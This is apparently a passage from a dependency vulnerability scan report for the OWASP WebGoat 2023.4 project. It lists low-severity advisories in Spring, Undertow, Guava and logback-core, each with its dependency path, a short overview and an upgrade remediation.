Note:

The fix for CVE-2022-22968 made `disallowedFields` patterns in `DataBinder` case insensitive.

This vulnerability was also fixed in commercial versions 5.3.41 and 6.0.25.

Remediation

Upgrade `org.springframework:spring-webmvc` to version 6.1.14 or higher.

References

- GitHub Commit
- Spring Security Advisory

More about this vulnerability

LOW SEVERITY

Improper Handling of Case Sensitivity

- Package Manager: maven
- Vulnerable module: org.springframework:spring-web
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-web@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-web@2.7.1 › org.springframework:spring-web@5.3.21

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Improper Handling of Case Sensitivity due to `String.toLowerCase()` having some Locale dependent exceptions that could potentially result in fields not protected as expected.

Note:

The fix for CVE-2022-22968 made `disallowedFields` patterns in `DataBinder` case insensitive.

This vulnerability was also fixed in commercial versions 5.3.41 and 6.0.25.

Remediation

Upgrade `org.springframework:spring-web` to version 6.1.14 or higher.

References

- GitHub Commit
- Spring Security Advisory

More about this vulnerability

LOW SEVERITY

Improper Handling of Case Sensitivity

- Package Manager: maven
- Vulnerable module: org.springframework:spring-core
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-test@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-test@2.7.1 › org.springframework:spring-core@5.3.21

Overview

org.springframework:spring-core is a core package within the spring-framework that contains multiple classes and utilities.

Affected versions of this package are vulnerable to Improper Handling of Case Sensitivity due to `String.toLowerCase()` having some Locale dependent exceptions that could potentially result in fields not protected as expected.

Note:

The fix for CVE-2022-22968 made `disallowedFields` patterns in `DataBinder` case insensitive.

This vulnerability was also fixed in commercial versions 5.3.41 and 6.0.25.

Remediation

Upgrade `org.springframework:spring-core` to version 6.1.14 or higher.

References

- GitHub Commit
- Spring Security Advisory

More about this vulnerability

LOW SEVERITY

Improper Handling of Case Sensitivity

- Package Manager: maven
- Vulnerable module: org.springframework:spring-context
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-web@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-web@2.7.1 › org.springframework:spring-webmvc@5.3.21 › org.springframework:spring-context@5.3.21

Overview

Affected versions of this package are vulnerable to Improper Handling of Case Sensitivity due to `String.toLowerCase()` having some Locale dependent exceptions that could potentially result in fields not protected as expected.

Note:

The fix for CVE-2022-22968 made `disallowedFields` patterns in `DataBinder` case insensitive.

This vulnerability was also fixed in commercial versions 5.3.41 and 6.0.25.

Remediation

Upgrade `org.springframework:spring-context` to version 6.1.14 or higher.

References

- GitHub Commit
- Spring Security Advisory

More about this vulnerability

LOW SEVERITY

Memory Leak

- Package Manager: maven
- Vulnerable module: io.undertow:undertow-core
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-undertow@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-undertow@2.7.1 › io.undertow:undertow-core@2.2.18.Final

Overview

io.undertow:undertow-core is a Java web server based on non-blocking IO.

Affected versions of this package are vulnerable to Memory Leak when the `learning-push` handler is configured with the default `maxAge` of `-1`. An attacker who can send normal HTTP requests may consume excessive memory.

Workaround

This vulnerability can be avoided by setting a value for `maxAge` that is not `-1`.

Remediation

Upgrade `io.undertow:undertow-core` to version 2.2.37.Final, 2.3.18.Final or higher.

References

- GitHub Commit
- Red Hat Bugzilla Bug
- Red Hat Security Advisory
- Vulnerable Code

More about this vulnerability

LOW SEVERITY

Creation of Temporary File in Directory with Insecure Permissions

- Package Manager: maven
- Vulnerable module: com.google.guava:guava
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and com.google.guava:guava@30.1-jre

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › com.google.guava:guava@30.1-jre

Overview

com.google.guava:guava is a set of core libraries that includes new collection types (such as multimap and multiset,immutable collections, a graph library, functional types, an in-memory cache and more.

Affected versions of this package are vulnerable to Creation of Temporary File in Directory with Insecure Permissions due to the use of Java's default temporary directory for file creation in `FileBackedOutputStream`. Other users and apps on the machine with access to the default Java temporary directory can access the files created by this class. This more fully addresses the underlying issue described in CVE-2020-8908, by deprecating the permissive temp file creation behavior.

NOTE: Even though the security vulnerability is fixed in version 32.0.0, the maintainers recommend using version 32.0.1, as version 32.0.0 breaks some functionality under Windows.

Remediation

Upgrade `com.google.guava:guava` to version 32.0.0-android, 32.0.0-jre or higher.

References

- GitHub Commit
- GitHub Issue
- GitHub Issue
- GitHub Release

More about this vulnerability

LOW SEVERITY

Server-side Request Forgery (SSRF)

- Package Manager: maven
- Vulnerable module: ch.qos.logback:logback-core
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-validation@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-validation@2.7.1 › org.springframework.boot:spring-boot-starter@2.7.1 › org.springframework.boot:spring-boot-starter-logging@2.7.1 › ch.qos.logback:logback-classic@1.2.11 › ch.qos.logback:logback-core@1.2.11

Overview

ch.qos.logback:logback-core is a logback-core module.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) through the `SaxEventRecorder` process. An attacker can forge requests by compromising logback configuration files in XML.

Remediation

Upgrade `ch.qos.logback:logback-core` to version 1.3.15, 1.5.13 or higher.

References

- Additional Information
- GitHub Commit
- GitHub Commit
- Release Notes

More about this vulnerability